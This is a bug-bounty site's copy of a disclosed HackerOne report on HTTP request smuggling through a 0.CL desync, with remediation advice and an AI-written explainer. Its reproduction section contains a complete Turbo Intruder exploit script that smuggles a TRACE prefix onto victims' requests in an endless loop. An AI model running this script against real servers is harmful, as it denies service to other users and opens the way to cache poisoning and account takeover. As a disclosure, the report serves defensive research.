Skip to content
Smuggling / CRLF Disclosed report Advanced

HTTP Request Smuggling

The application was vulnerable to HTTP request smuggling due to a 0.CL desync, where the frontend ignores the Content-Length header but the backend processes it. An attacker could cause a denial of service by making legitimate requests return 405 errors, and potentially chain this with other techniques for more severe impacts.

t0xodile Follow

Originally disclosed on HackerOne

Critical 9.4 View original
  • Triaged in under an hour
  • Fixed in 19 days
  • Disclosed after 2 months

Summary:

HTTP Request Smuggling is a vulnerability stemming from HTTP/1.1's core weakness, the boundaries between requests on keep-alive connections. In this case, it was possible to achieve a 0.CL desync. This means that it is possible to create a request with a malformed Content-Length header, where the frontend ignores the content-length header, but the backend processes it. This discrepancy allows an attacker to take control of other users' requests achieving a range of critical impacts. For more information on request smuggling, and 0.CL desync in general, please refer to this research:

0.CL Desync Attacks

Steps To Reproduce:

  1. In Burp Suite, send any valid request who's target is set to ████████ to turbo intruder
  2. Paste the following turbo intruder script into the script window
Python
# Refer to https://portswigger.net/research/http1-must-die
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=100,
                           requestsPerConnection=1,
                           engine=Engine.BURP,
                           maxRetriesPerRequest=0,
                           timeout=15
                           )

    # The attack should contain an early-response gadget and a (maybe obfuscated) Content-Length header with the value set to %s
    stage1 = '''POST /CON HTTP/1.1
Host: '''+host+'''
Cookie: baca8f7410f46004b3ebdb56efffd64ce7cc73784001204a5fdd719816850df2=7ce2a3d9e711f9458d5fb71d02dcfaaaeeb2b7bf758fe15ddcb88d58b00c6e9a202a523d
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua-Platform: "Linux"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.44 Safari/537.36
Sec-Ch-Ua: "Not:A-Brand";v="99", "HeadlessChrome";v="145", "Chromium";v="145"
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://████████/
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-length: 
 %s

'''

    # This will get prefixed to the victim's request - place your payload in here
    smuggled = '''TRACE /assets HTTP/1.1
X: x'''



    # If the server doesn't like GET with a body, try OPTIONS etc
    stage2_chopped = '''GET / HTTP/1.1
Content-Length: 123
X: Y'''

    stage2_revealed = '''GET /robots.txt HTTP/1.1
Host: '''+host+'''
Cookie: baca8f7410f46004b3ebdb56efffd64ce7cc73784001204a5fdd719816850df2=7ce2a3d9e711f9458d5fb71d02dcfaaaeeb2b7bf758fe15ddcb88d58b00c6e9a202a523d
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua-Platform: "Linux"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.44 Safari/537.36
Sec-Ch-Ua: "Not:A-Brand";v="99", "HeadlessChrome";v="145", "Chromium";v="145"
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://████████/
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

'''

    victim = '''GET / HTTP/1.1
Host: '''+host+'''
Cookie: baca8f7410f46004b3ebdb56efffd64ce7cc73784001204a5fdd719816850df2=7ce2a3d9e711f9458d5fb71d02dcfaaaeeb2b7bf758fe15ddcb88d58b00c6e9a202a523d
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua-Platform: "Linux"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.44 Safari/537.36
Sec-Ch-Ua: "Not:A-Brand";v="99", "HeadlessChrome";v="145", "Chromium";v="145"
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://████████/
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

'''

    # No need to edit below this line
    if '%s' not in stage1:
        raise Exception('Please place %s in the Content-Length header value')

    if not stage1.endswith('\r\n\r\n'):
        raise Exception('Stage1 request must end with a blank line and have no body')


    while True:
        engine.queue(stage1, len(stage2_chopped), label='stage1', fixContentLength=False)
        engine.queue(stage2_chopped + stage2_revealed + smuggled, label='stage2')
        engine.queue(victim, label='victim')


def handleResponse(req, interesting):
    if req.label == "victim":
        table.add(req)

    # 0.CL attacks use a double desync so they can take a while!


  1. Select "Attack" and wait.
  2. In the results table, you can see a simulated victim, interacting with the application. Note that their request towards the home page, occasionally produces a 405 response, instead of the normal 200 response.

████████

This is achieved because the script is configured with the following prefix.

Python
    # This will get prefixed to the victim's request - place your payload in here
    smuggled = '''TRACE /assets HTTP/1.1
X: x'''

When the victim's request ends up appended to this prefix, their request looks like this:

HTTP
TRACE /assets HTTP/1.1
X: xGET / HTTP/1.1
Host: ████████
Cookie: baca8f7410f46004b3ebdb56efffd64ce7cc73784001204a5fdd719816850df2=7ce2a3d9e711f9458d5fb71d02dcfaaaeeb2b7bf758fe15ddcb88d58b00c6e9a202a523d
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua-Platform: "Linux"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.44 Safari/537.36
Sec-Ch-Ua: "Not:A-Brand";v="99", "HeadlessChrome";v="145", "Chromium";v="145"
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://████████/
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive


Remediation

The most robust remediation for request smuggling is to never use HTTP/1 upstream. That means, that besides your very first proxy, every web server, including the backend origin server, should use HTTP/2 end-to-end. However, this is often unachievable due to some vendors refusal to adopt HTTP/2 right now. If this is not possible in your case, you must implement consistent and strict HTTP request and response parsing across all proxies in your infrastructure. This often involves configuration proxies to use strict parsing measures in their configuration files. You can find all kinds of advice on this approach at the following link: http1mustdie.com

Impact

On it's own, this produces a denial of service vulnerability, where regular user traffic produces unexpected 405 errors, rendering the application unusable. However, the same technique can usually chained with other gadgets and vulnerabilities in order to take full control of the application. This is often achieved via a variety of impacts including response queue poisoning, global cross-site scripting, cache poisoning / deception, open redirection and access control bypasses. You can find more information on the plethora of impacts in the following web academy notes:

Exploiting Request Smuggling

The original report as published on HackerOne, by t0xodile. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the frontend and backend servers disagreed on how to parse the Content-Length header, with the frontend ignoring it and the backend using it, leading to a request boundary desynchronisation.

Impact

This produces a denial of service where regular user traffic produces unexpected 405 errors, rendering the application unusable; the same technique could potentially be chained with other gadgets and vulnerabilities for more severe impacts such as response queue poisoning, global cross-site scripting, cache poisoning, open redirection, and access control bypasses.

What the attacker needed

Ability to send crafted HTTP requests; frontend and backend with inconsistent parsing

The fix

The most robust remediation is to never use HTTP/1 upstream, ensuring every web server including the backend origin uses HTTP/2 end-to-end; if not possible, implement consistent and strict HTTP request and response parsing across all proxies.

How it was found

  1. Send a valid request to the target using Burp Suite's Turbo Intruder.
  2. Paste the provided Turbo Intruder script into the script window.
  3. Select 'Attack' and wait for the attack to run.
  4. Observe in the results table that a simulated victim's request to the home page occasionally returns a 405 response instead of 200.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

HTTP request smuggling is a technique that exploits differences in how two servers (like a frontend proxy and a backend server) interpret the boundaries between HTTP requests. By sending a specially crafted request, an attacker can make the backend server treat part of one request as the start of the next, potentially interfering with other users' requests. In this case, it caused some users to see error pages instead of the normal content.

What is Smuggling / CRLF?

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.

More from Essity

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Request smuggling and header injection

The lesson behind this report.

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.